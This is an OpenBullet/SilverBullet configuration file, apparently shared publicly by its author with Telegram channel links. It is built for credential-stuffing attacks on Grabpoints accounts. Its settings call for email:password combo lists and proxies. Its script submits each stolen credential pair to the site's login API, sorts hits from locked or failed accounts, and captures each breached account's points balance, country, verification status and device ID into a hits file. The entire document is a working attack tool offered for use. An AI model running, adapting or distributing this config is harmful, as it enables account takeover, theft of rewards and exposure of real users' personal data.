Grabpoints FullCap

Public

.SVB

@h4cktiger1 Jan 02, 2026 8 .SVB

Save New

[SETTINGS]
{
  "Name": "Grabpoints FullCap By @h4cktiger1",
  "SuggestedBots": 100,
  "MaxCPM": 0,
  "LastModified": "2025-10-26T01:19:46.5152854-05:00",
  "AdditionalInfo": "Channel: https://t.me/pro_configs_maker || Telegram Chat: https://t.me/h4cktiger1",
  "RequiredPlugins": [],
  "Author": "@h4cktiger1",
  "Version": "1.2.2",
  "SaveEmptyCaptures": false,
  "ContinueOnCustom": false,
  "SaveHitsToTextFile": true,
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": true,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "BanLoopEvasionOverride": -1,
  "EncodeData": false,
  "AllowedWordlist1": "MailPass",
  "AllowedWordlist2": "MailPass",
  "DataRules": [],
  "CustomInputs": [],
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "QuitOnBanRetry": false,
  "DisableNotifications": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": ""
}

[SCRIPT]
#GUID FUNCTION RandomString "?h?h?h?h?h?h?h?h-?h?h?h?h-?h?h?h?h-?h?h?h?h-?h?h?h?h?h?h?h?h?h?h?h?h" -> VAR "ID"

#POST REQUEST POST "https://api.grabpoints.com/login" 
  CONTENT "{\"userName\":\"<USER>\",\"password\":\"<PASS>\"}" 
  CONTENTTYPE "application/vnd-v4.0+json" 
  HEADER "Accept: application/json, text/plain, */*" 
  HEADER "Accept-Encoding: gzip, deflate, br" 
  HEADER "Accept-Language: en-US,en;q=0.9" 
  HEADER "Content-Type: application/vnd-v4.0+json" 
  HEADER "Dnt: 1" 
  HEADER "Origin: https://grabpoints.com" 
  HEADER "Referer: https://grabpoints.com/" 
  HEADER "Sec-Ch-Ua: \"Microsoft Edge\";v=\"117\", \"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"117\"" 
  HEADER "Sec-Ch-Ua-Mobile: ?0" 
  HEADER "Sec-Ch-Ua-Platform: \"Windows\"" 
  HEADER "Sec-Fetch-Dest: empty" 
  HEADER "Sec-Fetch-Mode: cors" 
  HEADER "Sec-Fetch-Site: same-site" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60" 
  HEADER "X-Device-Os-Id: <ID>"

KEYCHECK 
  KEYCHAIN Success OR 
    KEY "\"accessToken\" : \"" 
  KEYCHAIN Custom "CUSTOM" OR 
    KEY "accountNonExpired\" : false" 
    KEY "\"accountNonLocked\" : false" 
    KEY "\"credentialsNonExpired\" : false" 
    KEY "\"enabled\" : false" 
  KEYCHAIN Failure OR 
    KEY "bad credentials"

#AT PARSE "<SOURCE>" JSON "accessToken" -> VAR "AT"

#GET REQUEST GET "https://api.grabpoints.com/api/customer" 
  
  HEADER "Accept: application/json, text/plain, */*" 
  HEADER "Accept-Encoding: gzip, deflate, br" 
  HEADER "Accept-Language: en-US,en;q=0.9" 
  HEADER "Content-Type: application/vnd-v4.0+json" 
  HEADER "Dnt: 1" 
  HEADER "Origin: https://grabpoints.com" 
  HEADER "Referer: https://grabpoints.com/" 
  HEADER "Sec-Ch-Ua: \"Microsoft Edge\";v=\"117\", \"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"117\"" 
  HEADER "Sec-Ch-Ua-Mobile: ?0" 
  HEADER "Sec-Ch-Ua-Platform: \"Windows\"" 
  HEADER "Sec-Fetch-Dest: empty" 
  HEADER "Sec-Fetch-Mode: cors" 
  HEADER "Sec-Fetch-Site: same-site" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60" 
  HEADER "X-Device-Os-Id: <ID>" 
  HEADER "X-Gp-Access-Token: <AT>"

#Parse PARSE "<SOURCE>" JSON "points" CreateEmpty=FALSE -> CAP "points"

#Parse PARSE "<SOURCE>" JSON "name" CreateEmpty=FALSE -> CAP "Country"

#Parse PARSE "<SOURCE>" JSON "verificationStatus" CreateEmpty=FALSE -> CAP "verificationStatus"

#Parse PARSE "<SOURCE>" JSON "deviceId" CreateEmpty=FALSE -> CAP "deviceId"

#Parse PARSE "<SOURCE>" JSON "osType" CreateEmpty=FALSE -> CAP "osType"

FUNCTION Constant "@h4cktiger1" -> VAR "Config By"

Grabpoints FullCap

Scan to View